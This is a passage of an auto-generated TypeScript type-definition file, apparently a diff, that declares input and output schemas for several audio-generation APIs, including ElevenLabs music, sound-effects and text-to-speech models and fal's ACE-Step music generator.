vivi_mixed_en_zh_ja_es_id + * @example mindy_en_es_id_pt_zh + * @example kian_en_zh + * @example cedric_en_zh + * @example sophie_en_zh + * @example jean_en_zh + * @example magnus_en_zh + * @example mabel_en_zh + * @example nadia_en_zh + * @example opal_en_zh + * @example pearl_en_zh + * @example quentin_en_zh + * @example corinne_mixed_en_zh + * @example esther_mixed_en_zh + * @example lyla_mixed_en_zh + * @example tracy_es_zh + * @example sandy_es_mixed_en_zh + * @example felix_zh + * @example celeste_zh + * @example monkey_king_zh + * @example null + */ + voice?: string | null +} + +export type AudioFile3C5B1A04 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The number of channels in the audio + */ + channels?: number | null + /** + * @description The sample rate of the audio + */ + sample_rate?: number | null + /** + * @description The duration of the audio + */ + duration?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The bitrate of the audio (e.g., '192k' or 192000) + */ + bitrate?: string | number | null +} + +export type OutputBytedanceSeedAudio10 = { + /** + * @description The generated audio file. + * @example {"url":"https://v3b.fal.media/files/b/0aa97081/TYxWX8Yp1jjq9qObOdSRn_speech.mp3"} + * @type object + */ + audio: AudioFile3C5B1A04 +} + +export type InputCassetteaiMusicGenerator = { + /** + * @description The prompt to generate music from. + * @example Smooth chill hip-hop beat with mellow piano melodies, deep bass, and soft drums, perfect for a night drive. Key: D Minor, Tempo: 90 BPM. + * @type string + */ + prompt: string + /** + * @description The duration of the generated music in seconds. + * @minimum 10 + * @maximum 180 + * @example 50 + * @type integer + */ + duration: number +} + +export type File = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @default null + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @default null + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @default null + * @example 4404019 + */ + file_size?: number | null + /** + * @description File data + * @default null + */ + file_data?: Blob | null +} + +/** + * @description Example Pydantic model showing how to include a File in the output. + * @type object + */ +export type OutputCassetteaiMusicGenerator = { + /** + * @description The generated music + * @example {"url":"https://v3.fal.media/files/panda/T-GP6cbpo1lgL8ll4oKGj_generated.wav","file_name":null,"content_type":null,"file_size":null} + * @type object + */ + audio_file: File +} + +export type InputCassetteaiSoundEffectsGenerator = { + /** + * @description The prompt to generate SFX. + * @example dog barking in the rain + * @type string + */ + prompt: string + /** + * @description The duration of the generated SFX in seconds. + * @minimum 1 + * @maximum 30 + * @example 30 + * @type integer + */ + duration: number +} + +export type FileA8E067E4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Example Pydantic model showing how to include a File in the output. + * @type object + */ +export type OutputCassetteaiSoundEffectsGenerator = { + /** + * @description The generated SFX + * @example {"url":"https://v3.fal.media/files/panda/FJ56Mbpj1F_MQVuO0UJ9k_generated.wav"} + * @type object + */ + audio_file: FileA8E067E4 +} + +export const musicAudioReferenceStrength = { + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', +} as const + +export type MusicAudioReferenceStrengthKey = + (typeof musicAudioReferenceStrength)[keyof typeof musicAudioReferenceStrength] + +/** + * @description An audio clip whose style conditions a ``music_v2`` / ``music_v2.5`` chunk. + * + * ElevenLabs conditions on a *song id*, which only exists after the clip has + * been uploaded to them, so the app uploads on the caller's behalf and caches + * the resulting id (see ``ElevenLabsTTS._resolve_audio_reference``). + * @type object + */ +export type MusicAudioReference = { + /** + * @description How strongly the model follows the reference. Low lets it deviate and be more creative, high keeps it close to the reference. + */ + strength?: MusicAudioReferenceStrengthKey | null + /** + * @description URL of the audio clip to use as the style reference. + * @example https://storage.googleapis.com/falserverless/example_outputs/elevenlabs/music_generated.mp3 + * @type string + */ + audio_url: string + /** + * @description Offset into the clip where the referenced window ends, in milliseconds. Defaults to 30000ms after start_ms, or the end of the clip if it is shorter. The window must be at most 30000ms long. + */ + end_ms?: number | null + /** + * @description Offset into the clip where the referenced window starts, in milliseconds. + * @minimum 0 + * @default 0 + * @type integer | undefined + */ + start_ms?: number +} + +export const musicGenerationChunkContextAdherence = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type MusicGenerationChunkContextAdherenceKey = + (typeof musicGenerationChunkContextAdherence)[keyof typeof musicGenerationChunkContextAdherence] + +/** + * @description One generation chunk of a ``music_v2`` / ``music_v2.5`` composition plan. + * + * The v2 models replaced v1's ``sections`` (``MusicPrompt``) with ``chunks`` + * (``CompositionPlan``); the two shapes are not interchangeable -- sending a + * v1 section plan to a v2 model (or vice versa) is rejected by ElevenLabs. + * @type object + */ +export type MusicGenerationChunk = { + /** + * @description An audio clip whose style conditions this chunk. The reference on the first chunk matters most: it influences every later chunk, so condition from the first chunk to style the whole song. + */ + audio_reference?: MusicAudioReference | null + /** + * @description How closely this chunk follows the context of its surrounding chunks. Low adherence lets the model deviate and be more creative, high adherence keeps it consistent with the surrounding context. + */ + context_adherence?: MusicGenerationChunkContextAdherenceKey | null + /** + * @description The styles and musical directions that should be present in this chunk. Use English for best results. The styles of the first chunk matter most as they set the overall tone and genre; later chunks can add nuance, progression or change direction. + * @example ["synthwave","analog drum machine","great production quality"] + * @type array + */ + positive_styles: string[] + /** + * @description The duration of the chunk in milliseconds. Must be between 3000ms and 120000ms. + * @minimum 3000 + * @maximum 120000 + * @type integer + */ + duration_ms: number + /** + * @description The text to generate for this chunk. Can start with an optional section name in square brackets, e.g. [Verse 1], followed by lyric lines, plus inline directions in curly braces, e.g. {scratching}. Section names must be between 1 and 100 characters. At most 30 lines are allowed, each at most 200 characters. + * @example [Verse 1] + * Neon rain on empty streets + * I keep walking to the beat + * @type string + */ + text: string + /** + * @description The styles and musical directions that should not be present in this chunk. Leaving this empty is a good default; only set it to explicitly avoid a particular style or direction. + */ + negative_styles?: string[] | null +} + +export type MusicV2CompositionPlan = { + /** + * @description The chunks that make up the generation, in order. At most 30 chunks, totalling between 3000ms and 600000ms. + * @type array + */ + chunks: MusicGenerationChunk[] +} + +export const inputElevenlabsMusicV2OutputFormatEnum = { + mp3_22050_32: 'mp3_22050_32', + mp3_24000_48: 'mp3_24000_48', + mp3_44100_32: 'mp3_44100_32', + mp3_44100_64: 'mp3_44100_64', + mp3_44100_96: 'mp3_44100_96', + mp3_44100_128: 'mp3_44100_128', + mp3_44100_192: 'mp3_44100_192', + mp3_48000_128: 'mp3_48000_128', + mp3_48000_192: 'mp3_48000_192', + mp3_48000_240: 'mp3_48000_240', + mp3_48000_320: 'mp3_48000_320', + pcm_8000: 'pcm_8000', + pcm_16000: 'pcm_16000', + pcm_22050: 'pcm_22050', + pcm_24000: 'pcm_24000', + pcm_32000: 'pcm_32000', + pcm_44100: 'pcm_44100', + pcm_48000: 'pcm_48000', + ulaw_8000: 'ulaw_8000', + alaw_8000: 'alaw_8000', + opus_48000_32: 'opus_48000_32', + opus_48000_64: 'opus_48000_64', + opus_48000_96: 'opus_48000_96', + opus_48000_128: 'opus_48000_128', + opus_48000_192: 'opus_48000_192', +} as const + +export type InputElevenlabsMusicV2OutputFormatEnumKey = + (typeof inputElevenlabsMusicV2OutputFormatEnum)[keyof typeof inputElevenlabsMusicV2OutputFormatEnum] + +/** + * @description Request format for the ElevenLabs Music v2 / v2.5 API. + * @type object + */ +export type InputElevenlabsMusicV2 = { + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The chunk-based composition plan for the music + */ + composition_plan?: MusicV2CompositionPlan | null + /** + * @description The length of the song to generate in milliseconds. Used only in conjunction with prompt. Must be between 3000ms and 600000ms. Optional - if not provided, the model will choose a length based on the prompt. + */ + music_length_ms?: number | null + /** + * @description Output format of the generated audio. Formatted as codec_sample_rate_bitrate. So an mp3 with 22.05kHz sample rate at 32kbs is represented as mp3_22050_32. Note that the μ-law format (sometimes written mu-law, often approximated as u-law) is commonly used for Twilio audio inputs. + * @default 'mp3_48000_192' + * @type string | undefined + */ + output_format?: InputElevenlabsMusicV2OutputFormatEnumKey + /** + * @description If true, guarantees that the generated song will be instrumental. If false, the song may or may not be instrumental depending on the prompt. Can only be used with prompt. + * @default false + * @type boolean | undefined + */ + force_instrumental?: boolean + /** + * @description Random seed to initialize the music generation process. Can only be used with composition_plan. The same seed with the same parameters gives more consistent results, but exact reproducibility is not guaranteed. + */ + seed?: number | null + /** + * @description The text prompt describing the music to generate + * @example Mysterious original soundtrack, themes of jungle, rainforest, nature, woodwinds, busy rhythmic tribal percussion. + */ + prompt?: string | null +} + +export type File97707Ae1 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputElevenlabsMusicV2 = { + /** + * @description The generated music audio file in MP3 format + * @example {"content_type":"audio/mpeg","file_name":"music_generated.mp3","url":"https://storage.googleapis.com/falserverless/example_outputs/elevenlabs/music_generated.mp3"} + * @type object + */ + audio: File97707Ae1 +} + +export const inputElevenlabsMusicV25OutputFormatEnum = { + mp3_22050_32: 'mp3_22050_32', + mp3_24000_48: 'mp3_24000_48', + mp3_44100_32: 'mp3_44100_32', + mp3_44100_64: 'mp3_44100_64', + mp3_44100_96: 'mp3_44100_96', + mp3_44100_128: 'mp3_44100_128', + mp3_44100_192: 'mp3_44100_192', + mp3_48000_128: 'mp3_48000_128', + mp3_48000_192: 'mp3_48000_192', + mp3_48000_240: 'mp3_48000_240', + mp3_48000_320: 'mp3_48000_320', + pcm_8000: 'pcm_8000', + pcm_16000: 'pcm_16000', + pcm_22050: 'pcm_22050', + pcm_24000: 'pcm_24000', + pcm_32000: 'pcm_32000', + pcm_44100: 'pcm_44100', + pcm_48000: 'pcm_48000', + ulaw_8000: 'ulaw_8000', + alaw_8000: 'alaw_8000', + opus_48000_32: 'opus_48000_32', + opus_48000_64: 'opus_48000_64', + opus_48000_96: 'opus_48000_96', + opus_48000_128: 'opus_48000_128', + opus_48000_192: 'opus_48000_192', +} as const + +export type InputElevenlabsMusicV25OutputFormatEnumKey = + (typeof inputElevenlabsMusicV25OutputFormatEnum)[keyof typeof inputElevenlabsMusicV25OutputFormatEnum] + +/** + * @description Request format for the ElevenLabs Music v2 / v2.5 API. + * @type object + */ +export type InputElevenlabsMusicV25 = { + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The chunk-based composition plan for the music + */ + composition_plan?: MusicV2CompositionPlan | null + /** + * @description The length of the song to generate in milliseconds. Used only in conjunction with prompt. Must be between 3000ms and 600000ms. Optional - if not provided, the model will choose a length based on the prompt. + */ + music_length_ms?: number | null + /** + * @description Output format of the generated audio. Formatted as codec_sample_rate_bitrate. So an mp3 with 22.05kHz sample rate at 32kbs is represented as mp3_22050_32. Note that the μ-law format (sometimes written mu-law, often approximated as u-law) is commonly used for Twilio audio inputs. + * @default 'mp3_48000_192' + * @type string | undefined + */ + output_format?: InputElevenlabsMusicV25OutputFormatEnumKey + /** + * @description If true, guarantees that the generated song will be instrumental. If false, the song may or may not be instrumental depending on the prompt. Can only be used with prompt. + * @default false + * @type boolean | undefined + */ + force_instrumental?: boolean + /** + * @description Random seed to initialize the music generation process. Can only be used with composition_plan. The same seed with the same parameters gives more consistent results, but exact reproducibility is not guaranteed. + */ + seed?: number | null + /** + * @description The text prompt describing the music to generate + * @example Mysterious original soundtrack, themes of jungle, rainforest, nature, woodwinds, busy rhythmic tribal percussion. + */ + prompt?: string | null +} + +export type File9Abee680 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputElevenlabsMusicV25 = { + /** + * @description The generated music audio file in MP3 format + * @example {"content_type":"audio/mpeg","file_name":"music_generated.mp3","url":"https://storage.googleapis.com/falserverless/example_outputs/elevenlabs/music_generated.mp3"} + * @type object + */ + audio: File9Abee680 +} + +export const inputElevenlabsSoundEffectsV3OutputFormatEnum = { + mp3_22050_32: 'mp3_22050_32', + mp3_44100_32: 'mp3_44100_32', + mp3_44100_64: 'mp3_44100_64', + mp3_44100_96: 'mp3_44100_96', + mp3_44100_128: 'mp3_44100_128', + mp3_44100_192: 'mp3_44100_192', + pcm_8000: 'pcm_8000', + pcm_16000: 'pcm_16000', + pcm_22050: 'pcm_22050', + pcm_24000: 'pcm_24000', + pcm_44100: 'pcm_44100', + pcm_48000: 'pcm_48000', + ulaw_8000: 'ulaw_8000', + alaw_8000: 'alaw_8000', + opus_48000_32: 'opus_48000_32', + opus_48000_64: 'opus_48000_64', + opus_48000_96: 'opus_48000_96', + opus_48000_128: 'opus_48000_128', + opus_48000_192: 'opus_48000_192', +} as const + +export type InputElevenlabsSoundEffectsV3OutputFormatEnumKey = + (typeof inputElevenlabsSoundEffectsV3OutputFormatEnum)[keyof typeof inputElevenlabsSoundEffectsV3OutputFormatEnum] + +export type InputElevenlabsSoundEffectsV3 = { + /** + * @description Output format of the generated audio. Formatted as codec_sample_rate_bitrate. + * @default 'mp3_44100_128' + * @type string | undefined + */ + output_format?: InputElevenlabsSoundEffectsV3OutputFormatEnumKey + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Duration in seconds (0.5-30). If None, optimal duration will be determined from prompt. + */ + duration_seconds?: number | null + /** + * @description The text describing the sound effect to generate + * @maxLength 450 + * @example Spacious braam suitable for high-impact movie trailer moments + * @example A gentle wind chime tinkling in a soft breeze + * @type string + */ + text: string + /** + * @description How closely to follow the prompt (0-1). Higher values mean less variation. + * @minimum 0 + * @maximum 1 + * @default 0.3 + * @type number | undefined + */ + prompt_influence?: number + /** + * @description Whether to create a sound effect that loops smoothly. + * @default false + * @type boolean | undefined + */ + loop?: boolean +} + +export type FileC70F9C5D = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output format for generated sound effects + * @type object + */ +export type OutputElevenlabsSoundEffectsV3 = { + /** + * @description The generated sound effect audio file in MP3 format + * @example {"url":"https://v3.fal.media/files/lion/WgnO-jy6WduosuG_Ibobx_sound_effect.mp3"} + * @type object + */ + audio: FileC70F9C5D +} + +export const inputElevenlabsTtsElevenV4ApplyTextNormalizationEnum = { + auto: 'auto', + on: 'on', + off: 'off', +} as const + +export type InputElevenlabsTtsElevenV4ApplyTextNormalizationEnumKey = + (typeof inputElevenlabsTtsElevenV4ApplyTextNormalizationEnum)[keyof typeof inputElevenlabsTtsElevenV4ApplyTextNormalizationEnum] + +export const inputElevenlabsTtsElevenV4OutputFormatEnum = { + mp3_22050_32: 'mp3_22050_32', + mp3_44100_32: 'mp3_44100_32', + mp3_44100_64: 'mp3_44100_64', + mp3_44100_96: 'mp3_44100_96', + mp3_44100_128: 'mp3_44100_128', + mp3_44100_192: 'mp3_44100_192', + pcm_8000: 'pcm_8000', + pcm_16000: 'pcm_16000', + pcm_22050: 'pcm_22050', + pcm_24000: 'pcm_24000', + pcm_44100: 'pcm_44100', + pcm_48000: 'pcm_48000', + ulaw_8000: 'ulaw_8000', + alaw_8000: 'alaw_8000', + opus_48000_32: 'opus_48000_32', + opus_48000_64: 'opus_48000_64', + opus_48000_96: 'opus_48000_96', + opus_48000_128: 'opus_48000_128', + opus_48000_192: 'opus_48000_192', +} as const + +export type InputElevenlabsTtsElevenV4OutputFormatEnumKey = + (typeof inputElevenlabsTtsElevenV4OutputFormatEnum)[keyof typeof inputElevenlabsTtsElevenV4OutputFormatEnum] + +export type InputElevenlabsTtsElevenV4 = { + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to return character-level timing information with the generated audio. + * @default false + * @type boolean | undefined + */ + timestamps?: boolean + /** + * @description Seed for best-effort reproducibility. Identical output is not guaranteed. + */ + seed?: number | null + /** + * @description Whether to normalize text such as numbers and dates before generation. + * @default 'auto' + * @type string | undefined + */ + apply_text_normalization?: InputElevenlabsTtsElevenV4ApplyTextNormalizationEnumKey + /** + * @description Language code (ISO 639-1) for speech generation and text normalization. + */ + language_code?: string | null + /** + * @description The voice to use for speech generation + * @default 'Rachel' + * @example Aria + * @example Roger + * @example Sarah + * @example Laura + * @example Charlie + * @example George + * @example Callum + * @example River + * @example Liam + * @example Charlotte + * @example Alice + * @example Matilda + * @example Will + * @example Jessica + * @example Eric + * @example Chris + * @example Brian + * @example Daniel + * @example Lily + * @example Bill + * @type string | undefined + */ + voice?: string + /** + * @description Output format of the generated audio. Formatted as codec_sample_rate_bitrate. + * @default 'mp3_44100_128' + * @type string | undefined + */ + output_format?: InputElevenlabsTtsElevenV4OutputFormatEnumKey + /** + * @description The text to convert to speech. Supports audio tags such as [whispering] and IPA pronunciation enclosed in forward slashes. + * @minLength 1 + * @maxLength 5000 + * @example [excited] Hello! Welcome to Eleven v4. + * @type string + */ + text: string + /** + * @description How closely the output follows the reference voice. Higher values increase similarity but may reduce naturalness. + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + similarity_boost?: number + /** + * @description Voice stability. Lower values allow more expressive delivery; higher values make delivery more consistent. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + stability?: number +} + +export type FileC33B1261 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputElevenlabsTtsElevenV4 = { + /** + * @description Timestamps for each word in the generated speech. Only returned if `timestamps` is set to True in the request. + */ + timestamps?: unknown[] | null + /** + * @description The generated audio file + * @example {"url":"https://v3.fal.media/files/zebra/zJL_oRY8h5RWwjoK1w7tx_output.mp3"} + * @type object + */ + audio: FileC33B1261 +} + +export const inputElevenlabsTtsElevenV4TurboApplyTextNormalizationEnum = { + auto: 'auto', + on: 'on', + off: 'off', +} as const + +export type InputElevenlabsTtsElevenV4TurboApplyTextNormalizationEnumKey = + (typeof inputElevenlabsTtsElevenV4TurboApplyTextNormalizationEnum)[keyof typeof inputElevenlabsTtsElevenV4TurboApplyTextNormalizationEnum] + +export const inputElevenlabsTtsElevenV4TurboOutputFormatEnum = { + mp3_22050_32: 'mp3_22050_32', + mp3_44100_32: 'mp3_44100_32', + mp3_44100_64: 'mp3_44100_64', + mp3_44100_96: 'mp3_44100_96', + mp3_44100_128: 'mp3_44100_128', + mp3_44100_192: 'mp3_44100_192', + pcm_8000: 'pcm_8000', + pcm_16000: 'pcm_16000', + pcm_22050: 'pcm_22050', + pcm_24000: 'pcm_24000', + pcm_44100: 'pcm_44100', + pcm_48000: 'pcm_48000', + ulaw_8000: 'ulaw_8000', + alaw_8000: 'alaw_8000', + opus_48000_32: 'opus_48000_32', + opus_48000_64: 'opus_48000_64', + opus_48000_96: 'opus_48000_96', + opus_48000_128: 'opus_48000_128', + opus_48000_192: 'opus_48000_192', +} as const + +export type InputElevenlabsTtsElevenV4TurboOutputFormatEnumKey = + (typeof inputElevenlabsTtsElevenV4TurboOutputFormatEnum)[keyof typeof inputElevenlabsTtsElevenV4TurboOutputFormatEnum] + +export type InputElevenlabsTtsElevenV4Turbo = { + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to return character-level timing information with the generated audio. + * @default false + * @type boolean | undefined + */ + timestamps?: boolean + /** + * @description Seed for best-effort reproducibility. Identical output is not guaranteed. + */ + seed?: number | null + /** + * @description Whether to normalize text such as numbers and dates before generation. + * @default 'auto' + * @type string | undefined + */ + apply_text_normalization?: InputElevenlabsTtsElevenV4TurboApplyTextNormalizationEnumKey + /** + * @description Language code (ISO 639-1) for speech generation and text normalization. + */ + language_code?: string | null + /** + * @description The voice to use for speech generation + * @default 'Rachel' + * @example Aria + * @example Roger + * @example Sarah + * @example Laura + * @example Charlie + * @example George + * @example Callum + * @example River + * @example Liam + * @example Charlotte + * @example Alice + * @example Matilda + * @example Will + * @example Jessica + * @example Eric + * @example Chris + * @example Brian + * @example Daniel + * @example Lily + * @example Bill + * @type string | undefined + */ + voice?: string + /** + * @description Output format of the generated audio. Formatted as codec_sample_rate_bitrate. + * @default 'mp3_44100_128' + * @type string | undefined + */ + output_format?: InputElevenlabsTtsElevenV4TurboOutputFormatEnumKey + /** + * @description The text to convert to speech. Supports audio tags such as [whispering] and IPA pronunciation enclosed in forward slashes. + * @minLength 1 + * @maxLength 5000 + * @example [excited] Hello! Welcome to Eleven v4. + * @type string + */ + text: string + /** + * @description How closely the output follows the reference voice. Higher values increase similarity but may reduce naturalness. + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + similarity_boost?: number + /** + * @description Voice stability. Lower values allow more expressive delivery; higher values make delivery more consistent. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + stability?: number +} + +export type FileC9Eca270 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputElevenlabsTtsElevenV4Turbo = { + /** + * @description Timestamps for each word in the generated speech. Only returned if `timestamps` is set to True in the request. + */ + timestamps?: unknown[] | null + /** + * @description The generated audio file + * @example {"url":"https://v3.fal.media/files/zebra/zJL_oRY8h5RWwjoK1w7tx_output.mp3"} + * @type object + */ + audio: FileC9Eca270 +} + +export const inputFalAiAceStepSchedulerEnum = { + euler: 'euler', + heun: 'heun', +} as const + +export type InputFalAiAceStepSchedulerEnumKey = + (typeof inputFalAiAceStepSchedulerEnum)[keyof typeof inputFalAiAceStepSchedulerEnum] + +export const inputFalAiAceStepGuidanceTypeEnum = { + cfg: 'cfg', + apg: 'apg', + cfg_star: 'cfg_star', +} as const + +export type InputFalAiAceStepGuidanceTypeEnumKey = + (typeof inputFalAiAceStepGuidanceTypeEnum)[keyof typeof inputFalAiAceStepGuidanceTypeEnum] + +export type InputFalAiAceStep = { + /** + * @description Comma-separated list of genre tags to control the style of the generated audio. Can also be supplied as `prompt`. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + tags: string + /** + * @description Guidance interval for the generation. 0.5 means only apply guidance in the middle steps (0.25 * infer_steps to 0.75 * infer_steps) + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + guidance_interval?: number + /** + * @description Scheduler to use for the generation process. + * @default 'euler' + * @example euler + * @type string | undefined + */ + scheduler?: InputFalAiAceStepSchedulerEnumKey + /** + * @description Random seed for reproducibility. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Tag guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + tag_guidance_scale?: number + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Lyrics to be sung in the audio. If not provided or if [inst] or [instrumental] is the content of this field, no lyrics will be sung. Use control structures like [verse], [chorus] and [bridge] to control the structure of the song. + * @default '' + * @type string | undefined + */ + lyrics?: string + /** + * @description Guidance scale for the generation. + * @minimum 0 + * @maximum 200 + * @default 15 + * @example 15 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Lyric guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 1.5 + * @example 1.5 + * @type number | undefined + */ + lyric_guidance_scale?: number + /** + * @description Minimum guidance scale for the generation after the decay. + * @minimum 0 + * @maximum 200 + * @default 3 + * @example 3 + * @type number | undefined + */ + minimum_guidance_scale?: number + /** + * @description Guidance interval decay for the generation. Guidance scale will decay from guidance_scale to min_guidance_scale in the interval. 0.0 means no decay. + * @minimum 0 + * @maximum 1 + * @default 0 + * @example 0 + * @type number | undefined + */ + guidance_interval_decay?: number + /** + * @description Type of CFG to use for the generation process. + * @default 'apg' + * @example apg + * @type string | undefined + */ + guidance_type?: InputFalAiAceStepGuidanceTypeEnumKey + /** + * @description Number of steps to generate the audio. + * @minimum 3 + * @maximum 60 + * @default 27 + * @example 27 + * @type integer | undefined + */ + number_of_steps?: number + /** + * @description Granularity scale for the generation process. Higher values can reduce artifacts. + * @minimum -100 + * @maximum 100 + * @default 10 + * @example 10 + * @type integer | undefined + */ + granularity_scale?: number + /** + * @description The duration of the generated audio in seconds. + * @minimum 5 + * @maximum 240 + * @default 60 + * @type number | undefined + */ + duration?: number +} + +export type File0B8Feb3C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiAceStep = { + /** + * @description The generated audio file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/ace-step-text-to-audio.wav"} + * @type object + */ + audio: File0B8Feb3C + /** + * @description The genre tags used in the generation process. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + tags: string + /** + * @description The random seed used for the generation process. + * @example 42 + * @type integer + */ + seed: number + /** + * @description The lyrics used in the generation process. + * @example [inst] + * @type string + */ + lyrics: string +} + +export const inputFalAiAceStepAudioInpaintEndTimeRelativeToEnum = { + start: 'start', + end: 'end', +} as const + +export type InputFalAiAceStepAudioInpaintEndTimeRelativeToEnumKey = + (typeof inputFalAiAceStepAudioInpaintEndTimeRelativeToEnum)[keyof typeof inputFalAiAceStepAudioInpaintEndTimeRelativeToEnum] + +export const inputFalAiAceStepAudioInpaintStartTimeRelativeToEnum = { + start: 'start', + end: 'end', +} as const + +export type InputFalAiAceStepAudioInpaintStartTimeRelativeToEnumKey = + (typeof inputFalAiAceStepAudioInpaintStartTimeRelativeToEnum)[keyof typeof inputFalAiAceStepAudioInpaintStartTimeRelativeToEnum] + +export const inputFalAiAceStepAudioInpaintGuidanceTypeEnum = { + cfg: 'cfg', + apg: 'apg', + cfg_star: 'cfg_star', +} as const + +export type InputFalAiAceStepAudioInpaintGuidanceTypeEnumKey = + (typeof inputFalAiAceStepAudioInpaintGuidanceTypeEnum)[keyof typeof inputFalAiAceStepAudioInpaintGuidanceTypeEnum] + +export const inputFalAiAceStepAudioInpaintSchedulerEnum = { + euler: 'euler', + heun: 'heun', +} as const + +export type InputFalAiAceStepAudioInpaintSchedulerEnumKey = + (typeof inputFalAiAceStepAudioInpaintSchedulerEnum)[keyof typeof inputFalAiAceStepAudioInpaintSchedulerEnum] + +export type InputFalAiAceStepAudioInpaint = { + /** + * @description Comma-separated list of genre tags to control the style of the generated audio. Can also be supplied as `prompt`. + * @example lofi, hiphop, drum and bass, trap, chill + * @type string + */ + tags: string + /** + * @description Guidance interval for the generation. 0.5 means only apply guidance in the middle steps (0.25 * infer_steps to 0.75 * infer_steps) + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + guidance_interval?: number + /** + * @description Random seed for reproducibility. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Whether the end time is relative to the start or end of the audio. + * @default 'start' + * @example start + * @type string | undefined + */ + end_time_relative_to?: InputFalAiAceStepAudioInpaintEndTimeRelativeToEnumKey + /** + * @description Tag guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + tag_guidance_scale?: number + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description start time in seconds for the inpainting process. + * @minimum 0 + * @maximum 240 + * @default 0 + * @example 0 + * @type number | undefined + */ + start_time?: number + /** + * @description end time in seconds for the inpainting process. + * @minimum 0 + * @maximum 240 + * @default 30 + * @example 30 + * @type number | undefined + */ + end_time?: number + /** + * @description Lyrics to be sung in the audio. If not provided or if [inst] or [instrumental] is the content of this field, no lyrics will be sung. Use control structures like [verse], [chorus] and [bridge] to control the structure of the song. + * @default '' + * @type string | undefined + */ + lyrics?: string + /** + * @description Guidance scale for the generation. + * @minimum 0 + * @maximum 200 + * @default 15 + * @example 15 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Lyric guidance scale for the generation. + * @minimum 0 + * @maximum 10 + * @default 1.5 + * @example 